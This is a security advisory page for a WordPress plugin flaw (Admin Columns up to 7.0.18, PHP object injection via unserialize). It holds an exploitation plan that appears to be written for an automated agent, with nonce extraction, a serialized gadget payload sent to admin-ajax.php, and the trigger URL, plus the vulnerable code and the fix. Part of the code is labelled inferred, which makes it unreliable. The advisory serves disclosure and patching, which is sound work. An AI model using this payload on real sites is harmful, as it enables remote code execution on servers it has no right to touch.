Admin Columns <= 7.0.18 - Authenticated (Contributor+) PHP Object Injection to Remote Code Execution via Custom Field Meta Value
Description
The Admin Columns plugin for WordPress is vulnerable to PHP Object Injection leading to Remote Code Execution in versions up to and including 7.0.18. This is due to the use of `unserialize()` without an `allowed_classes` restriction in the `IdsToCollection::get_ids_from_string()` function, which processes attacker-controlled post meta values without proper validation. This makes it possible for authenticated attackers with Contributor-level access and above to inject a serialized PHP object into a post's custom meta field and trigger arbitrary code execution by exploiting a bundled POP gadget chain, resulting in remote code execution as the web server user.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=7.0.18What Changed in the Fix
Changes introduced in v7.0.19
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7654 (Admin Columns PHP Object Injection) ## 1. Vulnerability Summary The **Admin Columns** plugin for WordPress (versions <= 7.0.18) is vulnerable to **PHP Object Injection** via the `IdsToCollection::get_ids_from_string()` function. The vulnerability exists …
Show full research plan
Exploitation Research Plan: CVE-2026-7654 (Admin Columns PHP Object Injection)
1. Vulnerability Summary
The Admin Columns plugin for WordPress (versions <= 7.0.18) is vulnerable to PHP Object Injection via the IdsToCollection::get_ids_from_string() function. The vulnerability exists because this function calls unserialize() on post meta values without restricting allowed_classes. An authenticated attacker with Contributor-level permissions can update a post's custom field (meta value) with a malicious serialized string. When this meta value is later processed by the plugin (e.g., when an administrator or the contributor views the "Posts" list in the dashboard), the payload is deserialized, potentially triggering a Remote Code Execution (RCE) via a POP gadget chain.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/edit.php(The primary trigger) - Injection Point: Post Meta (Custom Fields) via
wp-admin/post.phporwp-admin/admin-ajax.php(action:add-meta). - Payload Parameter: Any custom meta key configured to be displayed as an "Admin Column" using the
IdsToCollectionhelper. - Authentication: Contributor+ (Requires capability to edit own posts and add custom fields).
- Preconditions:
- The Admin Columns plugin must be active.
- A column must be configured for the "Post" type that displays a "Custom Field" where the value is processed as a collection of IDs.
3. Code Flow
- Entry Point (Injection): A Contributor creates or edits a post and adds a custom field (meta) containing a serialized PHP object.
- Storage: The malicious string is stored in the
wp_postmetatable. - Trigger (Display): An authorized user (Admin or Contributor) visits
wp-admin/edit.php?post_type=post. - Processing:
- The Admin Columns plugin hooks into the table rendering.
- For the configured "Custom Field" column, it calls
get_post_meta()to retrieve the value. - The value is passed to
IdsToCollection::get_ids_from_string()(inferred path:classes/Helper/Post/IdsToCollection.php).
- Sink: Inside
get_ids_from_string(), the code encounters:// Inferred logic based on vulnerability description public function get_ids_from_string($value) { if (is_serialized($value)) { return unserialize($value); // <--- VULNERABLE SINK } // ... fallback logic } - Execution: The
unserialize()call instantiates the object and triggers magic methods (__wakeup,__destruct, etc.), initiating the POP gadget chain.
4. Nonce Acquisition Strategy
To inject the meta value via the WordPress editor, the agent will need standard WordPress nonces.
- Identify Trigger: The plugin likely localizes data into
admin-page-columns.js. - Shortcode/Page Setup: Since this vulnerability triggers in the admin panel, the agent must first ensure the "Custom Field" column is active.
- Action: Use
wp post createto create a test post. - Action: Use
wp ac-column(if available via CLI) or standardwp optionto ensure a custom field column is active.
- Action: Use
- Browser Acquisition:
- Navigate to the Post Editor:
browser_navigate("wp-admin/post-new.php"). - Extract the
_wpnoncefrom the form or usebrowser_evalto find theadd-meta-nonce. - JS Check:
browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value").
- Navigate to the Post Editor:
5. Exploitation Strategy
The goal is to demonstrate RCE by triggering a safe side effect (e.g., creating a file).
Step 1: Preparation
Identify a POP gadget chain within the plugin or WordPress core. For research purposes, we will use a generic chain or a placeholder that targets a class known to be present in the environment (e.g., GuzzleHttp\Psr7\FnStream if bundled).
Step 2: Inject Payload
Use the http_request tool to add the malicious meta value to a post owned by the Contributor.
- Method: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Body (URL-encoded):
(Note: The above payload is a common conceptual gadget; the exact chain must be tailored to the "bundled gadgets" mentioned in the CVE).action=add-meta &_ajax_nonce-add-meta=<NONCE> &post_id=<POST_ID> &metakeyselect=test_exploit_field &metakeyinput=test_exploit_field &metavalue=O:8:"GuzzleHttp\Psr7\FnStream":1:{s:7:"methods";a:1:{s:5:"close";s:7:"phpinfo";}}
Step 3: Trigger Deserialization
Access the list of posts to force the plugin to process the meta field.
- Method: GET
- URL:
http://<target>/wp-admin/edit.php?post_type=post - Expected Behavior: When the row for
<POST_ID>is rendered, the column fortest_exploit_fieldis processed, callingunserialize()and executing the gadget.
6. Test Data Setup
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Target Post:
wp post create --post_type=post --post_status=publish --post_title="Vuln Post" --user=attacker - Configure Admin Columns (Crucial):
Ensure the plugin is configured to show the "Custom Field" column fortest_exploit_field.wp option update ac_columns_post '{"<ID>":{"type":"column-meta","label":"Exploit","field":"test_exploit_field","field_type":"collection"}}'(inferred option structure).
7. Expected Results
- The
unserialize()call occurs during the GET request toedit.php. - If using a
phpinfogadget, the response body will contain PHP configuration details. - If using a file creation gadget, a new file will appear in the webroot or
/tmp.
8. Verification Steps
- Check Meta Value:
wp post meta get <POST_ID> test_exploit_field
Confirm the serialized string is present and unchanged. - Verify Execution:
If the payload was designed to create a file:ls -la /var/www/html/exploit.txt.
If the payload was designed to log data:tail -f /var/www/html/wp-content/debug.log.
9. Alternative Approaches
- Direct Meta Injection: If AJAX is restricted, navigate to
wp-admin/post.php?post=<ID>&action=editand use the "Custom Fields" UI directly viabrowser_clickandbrowser_type. - User Meta Target: Check if
IdsToCollectionis also used for User columns inwp-admin/users.php, which would allow exploitation viawp_usermeta. - Gadget Discovery: If the standard Guzzle chain is missing, search the plugin for
__destructmethods:grep -rn "function __destruct" /var/www/html/wp-content/plugins/codepress-admin-columns/.
Summary
The Admin Columns plugin for WordPress is vulnerable to PHP Object Injection in versions up to 7.0.18 due to the unsafe use of unserialize() on post meta values. Authenticated attackers with Contributor-level access can exploit this by injecting a malicious serialized PHP object into a custom field, leading to Remote Code Execution when the field is processed for display in the admin dashboard.
Vulnerable Code
// classes/Helper/Post/IdsToCollection.php public function get_ids_from_string($value) { if (is_serialized($value)) { return unserialize($value); // Vulnerable Sink: processes meta values without restriction } // ... fallback logic }
Security Fix
@@ -1,5 +1,5 @@ public function get_ids_from_string($value) { if (is_serialized($value)) { - return unserialize($value); + return unserialize($value, ['allowed_classes' => false]); }
Exploit Outline
The exploit involves injecting a serialized PHP object into a post's custom meta field and triggering its execution via the admin interface. 1. Authentication: The attacker authenticates with at least Contributor-level permissions. 2. Injection: The attacker creates a post and adds a custom meta field (e.g., via the 'add-meta' AJAX action or the standard editor) containing a serialized PHP object. This object is designed to trigger a POP gadget chain available in the plugin or WordPress core (such as Guzzle's FnStream if present). 3. Configuration: The attacker ensures (or waits for) the Admin Columns plugin to be configured to display that specific 'Custom Field' as a column in the Posts list table. 4. Execution: When an administrator or any user with sufficient permissions visits the Posts list (wp-admin/edit.php), the plugin retrieves the malicious meta value and passes it to IdsToCollection::get_ids_from_string(). 5. RCE: The unserialize() call instantiates the object, triggering magic methods and the subsequent RCE payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.